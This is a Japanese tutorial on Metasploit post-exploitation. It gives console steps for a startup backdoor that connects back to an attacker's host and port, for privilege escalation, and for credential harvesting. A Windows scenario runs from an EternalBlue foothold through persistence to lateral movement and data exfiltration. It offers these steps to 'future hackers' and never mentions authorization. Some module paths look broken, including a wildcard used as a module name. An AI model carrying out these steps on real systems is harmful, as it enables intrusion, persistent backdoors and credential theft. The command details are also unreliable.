はじめに
サイバーセキュリティの世界において、侵害されたシステムへのアクセスを維持することは、極めて重要なスキルです。このチュートリアルでは、Metasploit の強力な事後攻撃モジュールを活用して、標的システム上で持続的なアクセスを確立および維持する方法を指導します。この記事の終わりまでに、これらのツールを効果的に活用して、サイバーセキュリティスキルを強化する方法を深く理解しているでしょう。
Metasploit 事後攻撃の理解
Metasploit 事後攻撃とは何か?
Metasploit 事後攻撃は、Metasploit Framework 内のツールと技術の集合体であり、侵害されたシステムへのアクセスと制御を維持するために使用されます。初期の踏み台が成功したエクスプロイトによって確立された後、事後攻撃フェーズでは、攻撃者はより多くの情報を収集し、権限を昇格させ、標的システム上で持続的な存在感を確保することができます。
事後攻撃の主要な概念
- 情報収集: 侵害されたホストからのシステムの詳細、ユーザーアカウント、ネットワーク構成、その他の貴重なデータの収集。
- 権限昇格: 標的システム上で、標準ユーザーから管理者またはルートユーザーなど、より高いレベルのアクセス権と許可を取得すること。
- 持続性: 初期エクスプロイトが発見され、軽減された後でも、攻撃者が侵害されたシステムへのアクセスを維持することを保証すること。
- 横移動: 初期侵害されたホストから、同じネットワーク内の他のシステムに攻撃者の到達範囲を広げること。
Metasploit 事後攻撃モジュール
Metasploit は、これらの目標を達成するために活用できる、幅広い事後攻撃モジュールを提供しています。一般的に使用されるモジュールの一部を以下に示します。
post/windows/gather/credentials/*: 侵害された Windows システムからさまざまな種類の資格情報を抽出するためのモジュール。post/linux/gather/enum_users_history: 侵害された Linux システムからユーザー履歴情報を収集するモジュール。post/multi/manage/shell_to_meterpreter: シェルセッションをより強力な Meterpreter セッションにアップグレードするモジュール。post/windows/manage/persistence_*: 侵害された Windows システム上で持続的なアクセスを確立するためのモジュール。
graph TD
A[初期の攻撃] --> B[事後攻撃]
B --> C[情報収集]
B --> D[権限昇格]
B --> E[持続性]
B --> F[横移動]
Metasploit モジュールを活用したアクセス維持
持続的なアクセス維持
侵害されたシステムへの持続的なアクセスを維持するために、Metasploit は信頼性が高く長期間接続を維持できる様々なモジュールを提供します。最も一般的に使用されるモジュールの 1 つは、post/windows/manage/persistence_*モジュールです。これは、システム起動時に自動的に実行されるバックドアを作成することを攻撃者に可能にします。
sequenceDiagram
participant 攻撃者
participant 標的システム
攻撃者->>標的システム: 初期攻撃
標的システム->>攻撃者: システム侵害
攻撃者->>標的システム: 持続性モジュール実行
標的システム->>攻撃者: 持続的アクセス確立
持続性モジュール例
- 攻撃者の Ubuntu 22.04 システム上で Metasploit コンソールを起動します。
msfconsole - 持続性モジュールを使用します。
use post/windows/manage/persistence_* - 必要に応じて、
LHOST(攻撃者の IP アドレス)とLPORT(リスニングポート)などのオプションを設定します。set LHOST 192.168.1.100 set LPORT 4444 - モジュールを実行して、標的システム上で持続的なアクセスを確立します。
run
権限昇格
侵害されたシステム上で権限を昇格させることは、さらなる攻撃と情報収集にとって非常に重要です。Metasploit は、post/windows/escalate/*やpost/linux/escalate/*などの様々なモジュールを提供しています。
権限昇格例(Windows)
post/windows/escalate/ms16_032_secondary_logon_handle_privescモジュールを使用します。use post/windows/escalate/ms16_032_secondary_logon_handle_privesc- 必要に応じて、
SESSION番号などのオプションを設定します。set SESSION 1 - モジュールを実行して、権限昇格を試みます。
run
情報収集
Metasploit の事後攻撃モジュールは、侵害されたシステムに関する貴重な情報を収集するために使用できます。例えば、ユーザーアカウント、ネットワーク構成、実行中のプロセスなどです。この情報は、攻撃者の標的システムへのアクセスと制御をさらに拡大するために使用できます。
情報収集例(Linux)
post/linux/gather/enum_users_historyモジュールを使用します。use post/linux/gather/enum_users_history- 必要に応じて、
SESSION番号などのオプションを設定します。set SESSION 1 - モジュールを実行して、ユーザー履歴情報を収集します。
run
これらの事後攻撃モジュールを通じて収集された情報は、横移動やデータ流出などの次の攻撃ステップを計画するために使用できます。
事後攻撃テクニックの実践
シナリオ:Windows システムの侵害
このシナリオでは、侵害された Windows システム上で事後攻撃テクニックを実践的に示します。
初期攻撃
- Metasploit のエクスプロイト(例:
exploit/windows/smb/ms17_010_eternalblue)を使用して、標的システムへの初期的な踏み台を確立します。 - 侵害されたシステム上でシェルまたは Meterpreter セッションを取得します。
持続的なアクセス維持
post/windows/manage/persistence_*モジュールを使用して、標的システム上に持続的なバックドアを作成します。- システム起動時にペイロードが自動的に実行されるように、持続性モジュールを設定します。
- 標的システムを再起動し、攻撃者が依然として接続できることを確認することで、持続性メカニズムを検証します。
権限昇格
- 侵害されたシステム上の現在のユーザー権限を評価します。
post/windows/escalate/ms16_032_secondary_logon_handle_privescモジュールを使用して、権限昇格を試みます。- 新しいユーザーコンテキストを確認することで、権限昇格の成功を検証します。
情報収集
post/windows/gather/credentials/*モジュールを使用して、ユーザー資格情報など、侵害されたシステムから機密情報を抽出します。post/windows/gather/enum_logged_on_usersやpost/windows/gather/enum_processesなどのモジュールを使用して、ネットワーク構成や実行中のプロセスなどの追加のシステム情報を収集します。
graph TD
A[初期攻撃] --> B[持続的なアクセス維持]
B --> C[権限昇格]
C --> D[情報収集]
D --> E[横移動]
E --> F[データ流出]
これらの事後攻撃テクニックを適用することで、攻撃者はアクセスを維持し、権限を昇格させ、侵害された Windows システムから貴重な情報を収集し、さらなる横移動とデータ流出のための道を切り開くことができます。
まとめ
このサイバーセキュリティチュートリアルでは、侵害されたシステムへのアクセスを維持するために Metasploit の事後攻撃モジュールを使用する方法を包括的に解説しました。これらの強力なツールの機能を理解することで、サイバーセキュリティスキルを向上させ、標的システムへのアクセスを効果的に管理できます。セキュリティ専門家であろうと、将来のハッカーであろうと、この記事で取り上げたテクニックは、サイバーセキュリティに関する知識を新たなレベルへと高める力となります。


